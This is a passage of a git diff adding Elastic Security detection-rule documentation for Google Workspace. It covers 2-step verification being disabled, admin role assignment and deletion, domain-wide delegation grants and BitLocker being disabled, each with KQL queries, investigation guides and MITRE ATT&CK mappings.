Alert Integration* + +This rule is designed to capture alert events generated by the Google SecOps integration and promote them as Elastic detection alerts. + +To capture Google SecOps alerts, install and configure the Google SecOps integration to ingest alert events into the `logs-google_secops.alert-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same SecOps events. Consider adding a rule exception for the External Alert rule to exclude data_stream.dataset:google_secops.alert to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: google_secops.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-2sv-policy-disabled-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-2sv-policy-disabled-by-user.asciidoc new file mode 100644 index 0000000000..1c88d4eb4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-2sv-policy-disabled-by-user.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-google-workspace-2sv-policy-disabled-by-user]] +=== Google Workspace 2SV Policy Disabled By User + +Detects when a Google Workspace user disables 2-step verification (2SV) on their account. An adversary with access to a compromised account may remove 2SV to eliminate the second authentication factor, leaving password-only access and making future sign-ins easier to abuse, relay, or maintain without triggering MFA challenges. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.login-* +* logs-google_workspace.user_accounts-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-190m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace 2SV Policy Disabled By User* + + +Threat actors who compromise a Google Workspace account may disable 2-step verification (2SV) on that account to remove +the second authentication factor. With 2SV turned off, the account falls back to password-only authentication, which can +support session abuse, AiTM credential relay, and sustained access without MFA challenges on future sign-ins. This is +especially concerning for administrators, executives, and users with access to sensitive mail, data, or admin functions. + +In AiTM and session-hijacking scenarios, an attacker with an active session may disable 2SV before the legitimate user +notices, making it easier to re-enter the account later using stolen credentials alone. + +This rule identifies when a user disables 2SV on their account via the `2sv_disable` event. The event appears in +both the `google_workspace.login` and `google_workspace.user_accounts` data streams; alert suppression groups by +`user.email` and `source.ip` within the rule lookback to avoid duplicate alerts when both streams are ingested. + + +*Possible investigation steps* + + +- Identify the user account that disabled 2SV by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Determine the account's privilege and data access — prioritize triage if the user is an administrator, holds delegated admin roles, or has access to sensitive resources. +- Determine whether the disable is expected or unauthorized: + - Validate with the user or their manager whether they intentionally turned off 2SV (for example, device replacement). + - If the `source.ip`, geolocation, or timing is unusual for the user, treat the alert as higher priority until proven benign. +- Search Kibana for precursor and follow-on account changes for the same `user.email` in the hours before and after the alert: + - `password_edit`, `recovery_email_edit`, `recovery_phone_edit` in `google_workspace.login` or `google_workspace.user_accounts` + - `login_success`, `login_failure`, `suspicious_login`, and `login_challenge` in `google_workspace.login` + - OAuth activity in `google_workspace.token` if token abuse is suspected +- Review `google_workspace.login.challenge_method` on recent sign-ins to determine whether MFA was used, bypassed, or relayed before 2SV was disabled. + + +*False positive analysis* + + +- Legitimate users may disable 2SV temporarily, but this weakens the account — confirm the change was authorized even when the actor appears benign. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the disable is not clearly authorized, re-enable 2SV on the affected account, reset the password, and revoke active sessions while the investigation proceeds. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 190 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h) for Filebeat and 3 hours for the Fleet Integration `login` datastream. Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:("google_workspace.login" or "google_workspace.user_accounts") and event.action:"2sv_disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-admin-role-assigned-to-a-user-or-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-admin-role-assigned-to-a-user-or-group.asciidoc new file mode 100644 index 0000000000..e51b68b0eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-admin-role-assigned-to-a-user-or-group.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-google-workspace-admin-role-assigned-to-a-user-or-group]] +=== Google Workspace Admin Role Assigned to a User or Group + +Assigning an administrative role to a user or group grants elevated privileges within Google Workspace, including access to the Google Admin console and the ability to manage domain resources and applications. Adversaries may assign administrator roles to an existing account or a newly created account/group to establish persistence, facilitate privilege escalation, and enable follow-on actions across the tenant. In particular, users with Super Admin privileges can bypass single sign-on (SSO) if it is enabled in Google Workspace. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/172176?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Admin Role Assigned to a User or Group* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups. Because these roles can +grant broad administrative control over identity, devices, and security settings, role assignments should follow the +principle of least privilege (PoLP) and be carefully controlled. Threat actors may assign high-privilege roles (for +example, Super Admin or other *_ADMIN_ROLE roles) to establish persistence, expand access, and perform follow-on actions +such as creating OAuth tokens, modifying security controls, changing mail routing, or altering SSO settings. Unexpected +admin privileges can also lead to operational impact if changes are made unintentionally. + +This rule identifies when a Google Workspace administrative role is assigned to a user or a group. + + +*Possible investigation steps* + + +- Identify the initiating (actor) account that performed the change by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the target principal that received the role assignment: + - For assignments, review `user.target.email` and `user.target.name`. + - For group assignments, determine which users are members of that group at the time of assignment. +- Identify the role assigned by reviewing `google_workspace.admin.role.name`. +- Determine whether the assignment is expected and authorized: + - Validate there is an approved change request/ticket and that the actor account is authorized to grant this level of access. + - If the role is high privilege (for example, Super Admin), treat as urgent until proven benign. +- Scope for additional role assignments by searching for `event.action: ASSIGN_ROLE` over an expanded time window and filtering on: + - The same `user.email` (actor) to find other role changes performed by the same account. + - The same `google_workspace.admin.role.name` to identify other principals granted the role. + - The same target (`user.target.email`) to identify multiple roles granted to the same principal. +- Evaluate whether the target user (or group members) performed suspicious activity after receiving the role: + - Review the last 48 hours of admin/audit events for security control changes, user or group changes, and Gmail configuration changes. + - If available, correlate with sign-in events for unusual geolocation, impossible travel, unfamiliar devices, or sign-ins from the `source.ip`. +- Determine whether the target user account was recently created by searching for `event.action: CREATE_USER` and filtering for `user.target.email`. + + +*False positive analysis* + + +- Verify the role assignment aligns with approved administrative duties, an authorized change window, and the organization’s access governance process. +- Confirm the initiating admin account is legitimate and not performing role assignments from unusual IPs, devices, or locations. +- For group assignments, verify the group is intended for administrative delegation and validate recent membership changes that could expand who effectively received the privilege. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the assignment is not clearly authorized, remove the role assignment from the user/group and/or place the target account(s) under administrative restriction while the investigation proceeds. +- For suspected compromise of the initiating admin account: + - Reset credentials, revoke active sessions, enforce MFA re-enrollment, and review delegation/OAuth grants for persistence. + - Validate recovery email/phone settings and account security posture. +- Review the permissions assigned to the implicated user/group to ensure PoLP is being followed, and consider replacing broad roles with narrower delegated roles where feasible. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"ASSIGN_ROLE" + and google_workspace.admin.role.name : *_ADMIN_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-admin-role-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-admin-role-deletion.asciidoc new file mode 100644 index 0000000000..017cd617ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-admin-role-deletion.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-google-workspace-admin-role-deletion]] +=== Google Workspace Admin Role Deletion + +Detects when a custom administrative role is deleted in Google Workspace. Adversaries may delete a custom admin role to disrupt delegated administration, remove security team access, or hinder incident response. Deleting a role removes the privileges it granted from all assigned users and groups, which can cause operational impact or blind spots during an active investigation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Impact +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Admin Role Deletion* + + +Google Workspace allows administrators to create custom admin roles with granular privileges across services such as +Users, Groups, Gmail, Drive, and Security. Deleting a custom role removes it from the tenant and revokes the associated +privileges for all users and groups that held the role. Threat actors may delete roles to disrupt security operations, +remove delegated admin access, or cover tracks after privilege escalation. Because the role no longer exists in the +Admin console after deletion, determining who was assigned the role and what privileges it contained requires reviewing +historical audit logs. + +This rule identifies when a custom administrative role is deleted in the Google Admin console. + + +*Possible investigation steps* + + +- Identify the initiating (actor) account that deleted the role by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the role deleted by reviewing `google_workspace.admin.role.name`. +- Determine whether the deletion is expected and authorized: + - Validate there is an approved change request/ticket and that the actor account is authorized to delete custom admin roles. + - If the actor account or source IP is unusual, treat the alert as higher priority until proven benign. +- Confirm the role is deleted in the Google Admin console: + - Navigate to Account > Admin roles. + - Search for the role name from `google_workspace.admin.role.name` and confirm it no longer appears in the role list. +- Search Kibana for principals previously assigned the role to determine blast radius: + - In Discover (or the alert investigation workflow), search Google Workspace admin logs with a time range before the deletion timestamp. + - Use the following KQL example, replacing `` with the value from `google_workspace.admin.role.name`: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "ASSIGN_ROLE" and google_workspace.admin.role.name: "" + ``` + - Review `user.target.email` and `user.target.name` for user/group assignments. + - Search for `event.action: "UNASSIGN_ROLE"` with the same role name to identify recent removals before deletion. +- Search Kibana for privileges the deleted role contained: + - Use the following KQL example to review any privileges that were granted to the role before deletion: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "ADD_PRIVILEGE" and google_workspace.admin.role.name: "" + ``` + - Review `google_workspace.admin.privilege.name` values to understand what access was removed from assigned principals. +- Scope for related role activity by searching for the same `user.email` (actor) performing other IAM actions such as `DELETE_ROLE`, `ADD_PRIVILEGE`, `ASSIGN_ROLE`, or security policy changes within the last 48 hours. +- Evaluate whether the deletion coincides with other suspicious activity: + - Review admin/audit events around the deletion time for security control changes, additional role deletions, or attempts to modify Super Admin assignments. + + +*False positive analysis* + + +- Verify the role deletion aligns with approved administrative duties, an authorized change window, and the organization's access governance process. +- Confirm the initiating admin account is legitimate and not deleting roles from unusual IPs, devices, or locations. +- Validate whether the role was deprecated or consolidated into another role as part of planned IAM cleanup. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the deletion is not clearly authorized, recreate the role with equivalent privileges and reassign affected users or groups while the investigation proceeds. +- Identify affected users and groups from historical `ASSIGN_ROLE` events and confirm they retain necessary administrative access through other roles. +- For suspected compromise of the initiating admin account: + - Reset credentials, revoke active sessions, enforce MFA re-enrollment, and review delegation/OAuth grants for persistence. + - Validate recovery email/phone settings and account security posture. +- Review whether the deleted role contained security-relevant privileges (for example, audit log access or security settings management) that could impair detection or response if removed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.action:DELETE_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc new file mode 100644 index 0000000000..2c5413df14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-google-workspace-api-access-granted-via-domain-wide-delegation]] +=== Google Workspace API Access Granted via Domain-Wide Delegation + +Detects when a super administrator authorizes domain-wide delegation (DWD) API client access for a Google Cloud service account or OAuth client. DWD lets an application impersonate users and access Workspace APIs across the tenant. Adversaries with admin access may register or authorize a malicious client with broad scopes to maintain API-based persistence and access mail, drive, and directory data without relying on a single user's password alone. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.google.com/admin-sdk/directory/v1/guides/delegation +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Privilege Escalation +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace API Access Granted via Domain-Wide Delegation* + + +Domain-wide delegation (DWD) allows a Google Cloud service account or OAuth client to access Workspace user data on +behalf of users across the domain. Only super administrators can authorize DWD, and each grant specifies API scopes +that define what the client can read or modify (for example Gmail, Drive, Directory, or Calendar APIs). Over-scoped DWD +grants create durable third-party access paths that survive individual user password resets. + +This rule matches `AUTHORIZE_API_CLIENT_ACCESS` events in the `google_workspace.admin` data stream. + + +*Possible investigation steps* + + +- Identify the administrator who authorized access by reviewing `user.email` or `user.name`, and note `user.domain` and + `event.ingested` if present in the alert. +- Identify the authorized client by reviewing `google_workspace.admin.api.client.name` and confirm the affected tenant + with `google_workspace.admin.domain.name`. +- Review granted API scopes in `google_workspace.admin.api.scopes` against least-privilege expectations. Broad scopes + (for example full mail or drive access) warrant higher urgency. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request or vendor onboarding record for the client and scopes. + - If the actor account is unusual or the scopes exceed documented requirements, treat as higher priority until proven benign. +- Review DWD configuration in the Google Admin console: + - Sign in to https://admin.google.com[admin.google.com] with an authorized administrator account. + - Navigate to Security > Access and data control > API controls > Domain-wide delegation. + - Confirm the client ID, client name, and scopes match the alert fields. +- Search Kibana for related admin activity: + - Find other DWD grants or revocations by the same administrator: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("AUTHORIZE_API_CLIENT_ACCESS" or "REVOKE_API_CLIENT_ACCESS") + ``` + - Scope for all grants to the same API client: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "AUTHORIZE_API_CLIENT_ACCESS" and google_workspace.admin.api.client.name: "" + ``` + - Correlate with other high-risk admin actions from the same actor in the last 48 hours: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ASSIGN_ROLE" or "ADD_APPLICATION" or "CREATE_ROLE") + ``` +- If GCP audit logs are ingested, pivot on the service account or client: + - Search for the client name in `gcp.audit.resource_name` and review `event.action` over the last 48 hours to determine + how the service account is being used after authorization. + + +*False positive analysis* + + +- Platform or security teams may authorize DWD for approved automation, backup, or migration tooling — validate against + known service accounts and documented scope requirements. +- Vendor onboarding sometimes requires temporary broad scopes; confirm timing against change windows before closing as benign. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the grant is not clearly authorized, revoke domain-wide delegation for the client under Security > Access and data + control > API controls > Domain-wide delegation while the investigation proceeds. +- Rotate or disable the associated GCP service account keys if the client is suspected malicious. +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review + delegated admin roles assigned to that account. +- Review activity performed with the authorized client based on scopes in `google_workspace.admin.api.scopes`. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin + and event.action:AUTHORIZE_API_CLIENT_ACCESS + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-bitlocker-setting-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-bitlocker-setting-disabled.asciidoc new file mode 100644 index 0000000000..eabf18f91a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-bitlocker-setting-disabled.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-google-workspace-bitlocker-setting-disabled]] +=== Google Workspace Bitlocker Setting Disabled + +Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Bitlocker Setting Disabled* + + +BitLocker Drive Encryption is a data protection feature that integrates with the Windows operating system to address the data theft or exposure threats from lost, stolen, or inappropriately decommissioned computers. BitLocker helps mitigate unauthorized data access by enhancing file and system protections, such as data encryption and rendering data inaccessible. Google Workspace can sync with Windows endpoints that are registered in inventory, where BitLocker can be enabled and disabled. + +Disabling Bitlocker on an endpoint decrypts data at rest and makes it accessible, which raises the risk of exposing sensitive endpoint data. + +This rule identifies a user with administrative privileges and access to the admin console, disabling BitLocker for Windows endpoints. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Review `google_workspace.admin.org_unit.name`, `google_workspace.admin.setting.name`, and `google_workspace.admin.old_value` / `new_value` to confirm BitLocker was disabled and for which OU. +- After identifying the user, verify if the user should have administrative privileges to disable BitLocker on Windows endpoints. +- Review Admin and Device logs, filtering on the user email identified from the alert. +- Confirm the policy change under `Devices` (Windows device management) or the relevant Chrome/Windows endpoint settings area for the affected OU. + + +*False positive analysis* + + +- An administrator may have intentionally disabled BitLocker for routine maintenance or endpoint updates. + - Verify with the user that they intended to disable BitLocker on Windows endpoints. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe 